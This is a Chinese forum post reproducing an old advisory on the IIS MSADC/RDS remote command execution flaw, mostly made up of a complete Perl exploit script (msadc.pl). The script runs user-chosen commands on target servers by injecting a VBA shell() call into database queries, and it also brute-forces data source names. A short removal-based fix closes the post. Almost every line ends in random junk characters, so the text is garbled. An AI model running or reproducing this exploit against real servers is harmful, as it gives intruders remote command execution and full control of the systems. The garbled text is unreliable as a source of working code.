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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) #8A|-u=3  
BkcOsJIz  
涉及程序: nxG vh4'i8  
Microsoft NT server jGt[[s  
p&7>G-.  
描述: xk,E A U  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 P _9O8"W  
$ysC)5q.  
详细: `'~|DG}a  
如果你没有时间读详细内容的话,就删除: /)|*Vzu  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #8'%CUF*<8  
有关的安全问题就没有了。 OHB!ec6W  
oD.f/hi0|  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 {_ocW@@  
J4<- C\=4  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 `Tab'7  
关于利用ODBC远程漏洞的描述,请参看: B;EdLs}  
TR#5V@e.m  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 1:-$mt_*  
+m"iJW0  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 QDU^yVa_  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ? O.&=im_  
-" DI,o  
这里不再论述。 {pVD`#Tl[  
*w!H -*`  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 9 eP @}C6  
r8mE   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset [hs{{II  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! bygwoZ<E  
"UE'd Wz  
!=ZbBUJF  
#将下面这段保存为txt文件,然后: "perl -x 文件名" WHU& 9N  
"kMpa]<c-6  
#!perl bH&[O`vf  
# Ls9G:>'rR  
# MSADC/RDS 'usage' (aka exploit) script do G&qXw  
# ) yjHABGJ  
# by rain.forest.puppy @+\OoOK<L  
# $v+g3+7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me e%8K A#DX  
# beta test and find errors! 3o6N&bQ b  
/0zk&g  
use Socket; use Getopt::Std; ^K3{6}]  
getopts("e:vd:h:XR", \%args); Fd2zvi  
*'Ch(c:rtH  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 7-)Y\D  
x;ujR<  
if (!defined $args{h} && !defined $args{R}) { mWtwp-  
print qq~ yHCBf)N7\  
Usage: msadc.pl -h <host> { -d <delay> -X -v } /7*u!CNm  
-h <host> = host you want to scan (ip or domain) Tmq:,.^}  
-d <seconds> = delay between calls, default 1 second )4j#gHN\  
-X = dump Index Server path table, if available &0M^UvO  
-v = verbose k)4   
-e = external dictionary file for step 5 Q+S>nL!*#1  
$AoN,B>  
Or a -R will resume a command session ) ~X\W\  
pmfyvkLS  
~; exit;} .a$][Jny  
p 3X>  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; qV5ME #TJ  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Rf7py)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ^}9Aq $R  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -B R&b2  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Ucv-}oa-?  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } HZR~r:_ i  
NX$$4<A1  
if (!defined $args{R}){ $ret = &has_msadc; "",V\m  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} -8g ;t3z  
q W) ,)i  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" *2@Ne[dYEF  
. "cmd /c "; g!4"3Dtdg  
$in=<STDIN>; chomp $in; \ B<(9  
$command="cmd /c " . $in ; HdLVXaD/  
Kx ';mgG#$  
if (defined $args{R}) {&load; exit;} |FH/Q-7[  
an.)2*u  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; je.mX/Lpj  
&try_btcustmr; y 2&G0y  
 Q9{%  
print "\nStep 2: Trying to make our own DSN..."; }56"4/  Z  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; f:e~ystm  
<vOljo  
print "\nStep 3: Trying known DSNs..."; wOINcEdx  
&known_dsn; haS`V  
v]c1|?9p'  
print "\nStep 4: Trying known .mdbs..."; $$`}b^,/  
&known_mdb; A-uEZj_RD=  
r'-)@|  
if (defined $args{e}){ Jo_h?{"L{  
print "\nStep 5: Trying dictionary of DSN names..."; ?:~ `?  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } sy4$!,W:  
u[y>DPPx  
print "Sorry Charley...maybe next time?\n"; W +C\/  
exit; +Nyx2(g<m  
PoQ@9 A  
############################################################################## WC0@g5;1[  
v$lP?\P;}X  
sub sendraw { # ripped and modded from whisker pz~AsF  
sleep($delay); # it's a DoS on the server! At least on mine... -_v[oqf$  
my ($pstr)=@_; Ust>%~<  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P6dIU/w  
die("Socket problems\n"); [p|-G*=00  
if(connect(S,pack "SnA4x8",2,80,$target)){ buq3t+0  
select(S); $|=1; $GPenQ~},  
print $pstr; my @in=<S>; -fn["R]  
select(STDOUT); close(S); :U^a0s%B  
return @in; 4>gk XfTF  
} else { die("Can't connect...\n"); }} XV]`?  
| \C{R  
############################################################################## -7>vh|3  
 jmz, 1[  
sub make_header { # make the HTTP request R2-OT5Ej  
my $msadc=<<EOT =2# C{u.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 U5%EQc-"P  
User-Agent: ACTIVEDATA P8piXG  
Host: $ip PKty'}KF  
Content-Length: $clen ^7V9\Q9  
Connection: Keep-Alive VWaI!bK  
c"v#d9  
ADCClientVersion:01.06 Kmk<  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~"iCx+pr  
(F +if  
--!ADM!ROX!YOUR!WORLD! % =br-c  
Content-Type: application/x-varg &CG3_s<2  
Content-Length: $reqlen \ @3i=!  
B/&axm%0  
EOT +UB+. 5P  
; $msadc=~s/\n/\r\n/g; gs7H9%j{U  
return $msadc;} x=gZ7$?A  
A7 E*w  
############################################################################## /!uxP~2U  
!zVuO*+  
sub make_req { # make the RDS request eZk [6H  
my ($switch, $p1, $p2)=@_; 7?dB&m6W  
my $req=""; my $t1, $t2, $query, $dsn; dq[j.Nmq  
JY~s-jxa  
if ($switch==1){ # this is the btcustmr.mdb query /k l0(='  
$query="Select * from Customers where City=" . make_shell(); \M'b %  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  \|L@  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} \2*<Pq  
VrrCW/ o  
elsif ($switch==2){ # this is general make table query 1)X%n)2pr  
$query="create table AZZ (B int, C varchar(10))";  3_+-t5  
$dsn="$p1";} `[2nxP>w`  
H'P1EZtq  
elsif ($switch==3){ # this is general exploit table query R4%!W~K  
$query="select * from AZZ where C=" . make_shell(); &1 {RuV&t  
$dsn="$p1";} 4hr;k0sD  
#swzZyM$  
elsif ($switch==4){ # attempt to hork file info from index server :OUNZDL  
$query="select path from scope()"; .TSj8,  
$dsn="Provider=MSIDXS;";} z+C>P4c-y&  
HJ:s)As  
elsif ($switch==5){ # bad query >| rID  
$query="select"; _A;jtS)SY  
$dsn="$p1";} % Lhpj[C  
r*OSEzGUz  
$t1= make_unicode($query); r\.1=c#"bP  
$t2= make_unicode($dsn); u yzc"d i  
$req = "\x02\x00\x03\x00"; { %vX/Ek  
$req.= "\x08\x00" . pack ("S1", length($t1)); ;lB%N t<,  
$req.= "\x00\x00" . $t1 ; t:9}~%~  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4t|ril``]  
$req.= "\x00\x00" . $t2 ; Eo!1 WRruF  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; e%afK@c  
return $req;} tK`sVsm>  
D\jRF-z  
############################################################################## .R#p<"$I  
kS%FV;9>(  
sub make_shell { # this makes the shell() statement G29PdmY$<  
return "'|shell(\"$command\")|'";} lc,{0$ 1<  
={o>g '  
############################################################################## s =! y%  
<=l!~~%  
sub make_unicode { # quick little function to convert to unicode qH: ` O%,  
my ($in)=@_; my $out; \f}S Hh  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Zm >Q-7r9  
return $out;} 4/&Us  
\SHYwD}*Pr  
############################################################################## A|,\}9)4X[  
y+)][Wa0  
sub rdo_success { # checks for RDO return success (this is kludge) 5hUYxF20h8  
my (@in) = @_; my $base=content_start(@in); 8$io^n\i  
if($in[$base]=~/multipart\/mixed/){ ?Lbw o<E  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} bN`oQ.Z 4  
return 0;} Zrr3='^s  
mqrP0/sN  
############################################################################## Q.*qU,4);  
f<= #WV  
sub make_dsn { # this makes a DSN for us ; =ai]AYW  
my @drives=("c","d","e","f"); s/Fc7V!;  
print "\nMaking DSN: "; Z,M?!vK  
foreach $drive (@drives) { Py^F},?J  
print "$drive: "; lbZ,?wm  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . dE7 kd=.o  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" -v'7;L0K  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); B;r U  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; vvU;55-  
return 0 if $2 eq "404"; # not found/doesn't exist r :{2}nE  
if($2 eq "200") { ClCb.Ozj4  
foreach $line (@results) { ( \{9W  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} r  /63  
} return 0;} <*3{Twa1T  
;nyV)+t+a  
############################################################################## 2 :u4~E3  
0?qXDO&~  
sub verify_exists { gbL99MZ@~  
my ($page)=@_; v`A^6)U#M  
my @results=sendraw("GET $page HTTP/1.0\n\n"); o7i/~JkTP  
return $results[0];} OB)Vk  
S7N3L."  
############################################################################## Qw!cd-zc  
@Ck6s  
sub try_btcustmr { wj!p6D;;S  
my @drives=("c","d","e","f"); 8  k9(iS  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nyWA(%N1  
M=HW2xn  
foreach $dir (@dirs) { yv =LT~  
print "$dir -> "; # fun status so you can see progress DmEmv/N=  
foreach $drive (@drives) { {mY<R`Ee  
print "$drive: "; # ditto s-Q-1lKV,  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; tSV}BM,  
$reqlenlen=length( "$reqlen" ); ,>A9OTSN\  
$clen= 206 + $reqlenlen + $reqlen; TviC1 {2  
]:(>r&'  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); :WIbjI=  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} !MS z%QcO  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} =24)`Lyb  
 TOdH  
############################################################################## A)Wp W M  
"#z4  
sub odbc_error { -l+ &Bkf  
my (@in)=@_; my $base; VI,z7 \  
my $base = content_start(@in); C18pK8-  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this i;;CU9`E2q  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dE!{=u(!i  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 4- ^|e  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ;2q;RT`h  
return $in[$base+4].$in[$base+5].$in[$base+6];} M p:c.  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; M8X*fYn  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . /tM<ois*  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 5gARGA  
4Z)`kS} =]  
############################################################################## -%*>z'|{  
8+{WH/}y8  
sub verbose { *M\Qt_[  
my ($in)=@_; U>7"BpC  
return if !$verbose; 6e&Y%O'8  
print STDOUT "\n$in\n";} ]`0(^)U &  
h@=H7oV7k  
############################################################################## 1dh_"/  
d|k6#f-E  
sub save { xRpL\4cs  
my ($p1, $p2, $p3, $p4)=@_; 'uBXSP#  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 767xCP  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; z)xGZ*{=  
close OUT;} `~vqu69MF9  
e;~[PYeu  
############################################################################## rQg7r>%Q  
<&\HXAOd  
sub load { e.hHpjWi?Z  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; z=<x.F  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `=Pn{JaD  
@p=<IN>; close(IN); "(5A 5>  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); xfCq;?MupW  
$target= inet_aton($ip) || die("inet_aton problems"); REDh`Wd  
print "Resuming to $ip ..."; Yxz(g]  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; fp|!LU  
if($p[1]==1) { htk5\^(X  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 85Zy0l  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; o)F^0t  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &1YAPxX  
if (rdo_success(@results)){print "Success!\n";} wr,X@y%(!  
else { print "failed\n"; verbose(odbc_error(@results));}} Pwf2dm$,+  
elsif ($p[1]==3){ ^$f} s,09  
if(run_query("$p[3]")){ |(N4ZmTm  
print "Success!\n";} else { print "failed\n"; }} dDbPM9]5  
elsif ($p[1]==4){ vT"T*FKh:  
if(run_query($drvst . "$p[3]")){ J @C8;]  
print "Success!\n"; } else { print "failed\n"; }} |VbF&*v`  
exit;} #X'!wr|-  
P0uUVU=B|  
############################################################################## ,pE{N&p9  
H8.U#%  
sub create_table { u:tLO3VfJ  
my ($in)=@_; EpSVHD:*  
$reqlen=length( make_req(2,$in,"") ) - 28; e#JJd=  
$reqlenlen=length( "$reqlen" ); /*!K4)$-*2  
$clen= 206 + $reqlenlen + $reqlen; w^e<p~i!^E  
my @results=sendraw(make_header() . make_req(2,$in,"")); 9Slx.9f  
return 1 if rdo_success(@results); o7<pI8\  
my $temp= odbc_error(@results); verbose($temp); A+w51Q  
return 1 if $temp=~/Table 'AZZ' already exists/; SjV;& 1Z/  
return 0;} "& 'h\  
|_/q0#"  
############################################################################## y3 @R>@$  
:\9E%/aAD  
sub known_dsn { sYM3&ikyHI  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go iI ji[>qz  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Tn,'*D@l  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", XBe!9/'k>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); W}#eQ|oCV  
1.U5gW/3L  
foreach $dSn (@dsns) { $Q*h+)g<  
print "."; &Q 7Q1`S  
next if (!is_access("DSN=$dSn")); +pp|Qgr 3  
if(create_table("DSN=$dSn")){ >Pj ?IE6  
print "$dSn successful\n"; v?BX 4FO  
if(run_query("DSN=$dSn")){ 4<fKB&  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { LnP={s  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 0*S]m5#;  
Q laz3X,P  
############################################################################## yM>:,TS  
,<s'/8Ik  
sub is_access { [t/7hx"2t  
my ($in)=@_; Ae R3wua  
$reqlen=length( make_req(5,$in,"") ) - 28; %Ez=  
$reqlenlen=length( "$reqlen" ); Q$Qs$  
$clen= 206 + $reqlenlen + $reqlen;  "_t2R &A  
my @results=sendraw(make_header() . make_req(5,$in,"")); IoWh&(+KdH  
my $temp= odbc_error(@results); 4<g,L;pUU  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); .<5 66g}VP  
return 0;} BC0SSR@e  
3tY \0y9  
############################################################################## H!mNHY_fA  
eFS;+?bu  
sub run_query { =EwC6+8*M  
my ($in)=@_; H"lq!C`  
$reqlen=length( make_req(3,$in,"") ) - 28; Z~)Bh~^A  
$reqlenlen=length( "$reqlen" ); B 3<T#  
$clen= 206 + $reqlenlen + $reqlen; hvCX,^LoJ  
my @results=sendraw(make_header() . make_req(3,$in,"")); U86bn(9K  
return 1 if rdo_success(@results); 5:v"^"Sz  
my $temp= odbc_error(@results); verbose($temp); c+$alw L~  
return 0;} O& k+;r  
? hU0S  
############################################################################## 5<h7+ %?t9  
ovJwo r  
sub known_mdb { ~x;1&\'k  
my @drives=("c","d","e","f","g"); }qU(G3  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $'Z\'<k[  
my $dir, $drive, $mdb;  Xr'Y[E [  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AX3iB1):K  
A+v6N>}*  
# this is sparse, because I don't know of many #vCtH2  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 60p*$Vqy  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", h^o>9s/|/H  
"\\system32\\certmdb.mdb", '&?cW#J?  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% wh8h1I  
ZdG?fWWA  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", t@(S=i7}-  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3>;zk#b2  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", x&>zD0\ :\  
"\\cfusion\\cfapps\\security\\realm_.mdb", Q${0(#Nu  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", sbn|D\p  
"\\cfusion\\database\\cfexamples.mdb", \`3YE~7J/  
"\\cfusion\\database\\cfsnippets.mdb", "cSH[/  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 46`(u"RP  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  ;LEO+,6  
"\\cfusion\\brighttiger\\database\\cleam.mdb", OSACH0h  
"\\cfusion\\database\\smpolicy.mdb", nP`#z&C  
"\\cfusion\\database\cypress.mdb", C3 >X1nU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^y:!=nX^  
"\\website\\cgi-win\\dbsample.mdb",  1t7vP;  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", l]tda(  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" CqHCJ '  
); #these are just k$]-fQM  
foreach $drive (@drives) { b#\i]2b:  
foreach $dir (@dirs){ *b#00)d  
foreach $mdb (@sysmdbs) { ]M%kt+u!  
print "."; a&oz<4oT  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ klSzmi4M  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; vzDoF0Ts*p  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ @BCws )  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ( -^-  
} else { print "Something's borked. Use verbose next time\n"; }}}}} J*HZ=6L  
Si=zxy T  
foreach $drive (@drives) { qy@v, a  
foreach $mdb (@mdbs) { UC&f  
print "."; D|m] ]B  
if(create_table($drv . $drive . $dir . $mdb)){ 4#D=+70'  
print "\n" . $drive . $dir . $mdb . " successful\n"; 5-rG8  
if(run_query($drv . $drive . $dir . $mdb)){ [!Uzw 2  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; vb^/DMhz  
} else { print "Something's borked. Use verbose next time\n"; }}}} O#[+= ^  
} G&ZpQ)  
?[<C,w~$`  
############################################################################## Op''=Ar#sh  
=)tU]kp  
sub hork_idx { Gp*U2LB  
print "\nAttempting to dump Index Server tables...\n"; 7bcl^~lY  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; , c3gW2E  
$reqlen=length( make_req(4,"","") ) - 28; ^\|Hz\"*  
$reqlenlen=length( "$reqlen" ); D9.H<.|36  
$clen= 206 + $reqlenlen + $reqlen; -<e8\Z`  
my @results=sendraw2(make_header() . make_req(4,"","")); TNgf96) y  
if (rdo_success(@results)){ X{2))t%  
my $max=@results; my $c; my %d; B,rpc\_  
for($c=19; $c<$max; $c++){ "p,TYjT?R  
$results[$c]=~s/\x00//g; xnz(hz6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Th"0Cc)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; )1de<# qM  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; $:&?!>H  
$d{"$1$2"}="";} 2@!Ou$W  
foreach $c (keys %d){ print "$c\n"; } U9N1 )3/u  
} else {print "Index server doesn't seem to be installed.\n"; }} p\xi5z  
h$\+r<  
############################################################################## IC5[:UZ5]  
u~ %xU~v  
sub dsn_dict { x.gRTR`7(  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); M? 7CBqZ  
while(<IN>){ 8&d s  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; r7dvj#^  
next if (!is_access("DSN=$dSn")); <hG] f%  
if(create_table("DSN=$dSn")){ f+A!w8E  
print "$dSn successful\n"; rID_^g_tP8  
if(run_query("DSN=$dSn")){ vpTYfE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4(2iR0N  
print "Something's borked. Use verbose next time\n";}}} a-nf5w>&q  
print "\n"; close(IN);} 24 )Sf  
2VSs#z!  
############################################################################## /m>%=_nz  
!\e&7sV~Q  
sub sendraw2 { # ripped and modded from whisker \gtI4zl*J  
sleep($delay); # it's a DoS on the server! At least on mine... \TchRSe  
my ($pstr)=@_; >|Xy'ZR  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || kd0~@rPL  
die("Socket problems\n"); Gvo|uB#  
if(connect(S,pack "SnA4x8",2,80,$target)){ <|qh5Scp  
print "Connected. Getting data"; ;;6e t/8  
open(OUT,">raw.out"); my @in; i,k.#Vx[m  
select(S); $|=1; print $pstr; L H>oG$a  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =2sj$  
close(OUT); select(STDOUT); close(S); return @in; q ERdQ~M,  
} else { die("Can't connect...\n"); }} {u 7%Z}<0  
8vP:yh@  
############################################################################## MqA%hlq  
|ji={  
sub content_start { # this will take in the server headers ?U}Ml]0~  
my (@in)=@_; my $c; bKAR}JM&  
for ($c=1;$c<500;$c++) { 6x6xv:\  
if($in[$c] =~/^\x0d\x0a/){ c UJUZ@ol  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Z:TW{:lrI  
else { return $c+1; }}} a?^xEye  
return -1;} # it should never get here actually CuS"Wj  
A4C4xts]N  
############################################################################## FrPpRe%!  
hSBR9g  
sub funky { 49/j9#hr  
my (@in)=@_; my $error=odbc_error(@in); /3]b!lFZZ  
if($error=~/ADO could not find the specified provider/){ jGp|:!'w  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ux8:   
exit;} HTpoYxn(  
if($error=~/A Handler is required/){ ^;KL`  
print "\nServer has custom handler filters (they most likely are patched)\n";  (C1@f!Z  
exit;} >pS @;t'  
if($error=~/specified Handler has denied Access/){ +y}4^3Vx^  
print "\nServer has custom handler filters (they most likely are patched)\n"; `#v(MK{9+V  
exit;}} EUVB>%P  
c= f _  
############################################################################## gy%/zbZx  
T(n<@Ac]V  
sub has_msadc { x+mf QcSD&  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");  'Dh+v3O  
my $base=content_start(@results); N sUFM  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); xKo l  
return 0;} Ng;K-WB\  
>icL,n"]  
######################## "0ITW46n  
HOEjLwH  
)JYt zc  
解决方案: #gHs!b-g@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll |?a 4Nl?  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 =f4v: j}'|  
=*ZQGM3w  
拿出来充数 哈哈
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